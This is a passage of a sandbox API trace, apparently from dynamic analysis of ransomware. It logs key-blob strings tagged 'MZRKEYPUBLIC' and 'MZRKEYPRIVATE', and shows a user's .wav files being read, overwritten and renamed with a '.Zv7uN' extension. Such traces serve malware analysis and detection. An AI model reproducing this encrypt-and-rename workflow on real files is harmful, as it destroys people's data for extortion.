S1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0086.622] GetCurrentThreadId () returned 0xa30 [0086.622] GetCurrentThreadId () returned 0xa30 [0086.622] GetCurrentThreadId () returned 0xa30 [0086.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.623] GetCurrentThreadId () returned 0xa30 [0086.623] GetCurrentThreadId () returned 0xa30 [0086.623] GetCurrentThreadId () returned 0xa30 [0086.623] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\kwSeo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\kwseo.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.624] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0086.624] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.624] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xb1cc [0086.624] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.624] ReadFile (in: hFile=0x11c, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0xb1cc, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0xb1cc, lpOverlapped=0x0) returned 1 [0086.626] CloseHandle (hObject=0x11c) returned 1 [0086.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\kwSeo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\kwseo.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.630] WriteFile (in: hFile=0x11c, lpBuffer=0x1f24e00*, nNumberOfBytesToWrite=0xb1cc, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f24e00*, lpNumberOfBytesWritten=0x18f3e0*=0xb1cc, lpOverlapped=0x0) returned 1 [0086.668] CloseHandle (hObject=0x11c) returned 1 [0086.670] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\kwSeo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\kwseo.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\kwSeo.wav.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\kwseo.wav.zv7un")) returned 1 [0086.672] GetCurrentThreadId () returned 0xa30 [0086.672] GetCurrentThreadId () returned 0xa30 [0086.672] GetCurrentThreadId () returned 0xa30 [0086.672] GetCurrentThreadId () returned 0xa30 [0086.672] GetCurrentThreadId () returned 0xa30 [0086.672] GetCurrentThreadId () returned 0xa30 [0086.672] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46601bf0, ftCreationTime.dwHighDateTime=0x1d5e25c, ftLastAccessTime.dwLowDateTime=0x6e7c7750, ftLastAccessTime.dwHighDateTime=0x1d5dff5, ftLastWriteTime.dwLowDateTime=0x6e7c7750, ftLastWriteTime.dwHighDateTime=0x1d5dff5, nFileSizeHigh=0x0, nFileSizeLow=0x1650b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="nnUgj.wav", cAlternateFileName="")) returned 1 [0086.672] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.672] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.672] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\nnUgj.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\nnugj.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46601bf0, ftCreationTime.dwHighDateTime=0x1d5e25c, ftLastAccessTime.dwLowDateTime=0x6e7c7750, ftLastAccessTime.dwHighDateTime=0x1d5dff5, ftLastWriteTime.dwLowDateTime=0x6e7c7750, ftLastWriteTime.dwHighDateTime=0x1d5dff5, nFileSizeHigh=0x0, nFileSizeLow=0x1650b)) returned 1 [0086.672] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\nnUgj.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\nnugj.wav")) returned 0x20 [0086.672] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\nnUgj.wav", dwFileAttributes=0x80) returned 1 [0086.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.676] GetCurrentThreadId () returned 0xa30 [0086.676] GetCurrentThreadId () returned 0xa30 [0086.676] GetCurrentThreadId () returned 0xa30 [0086.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 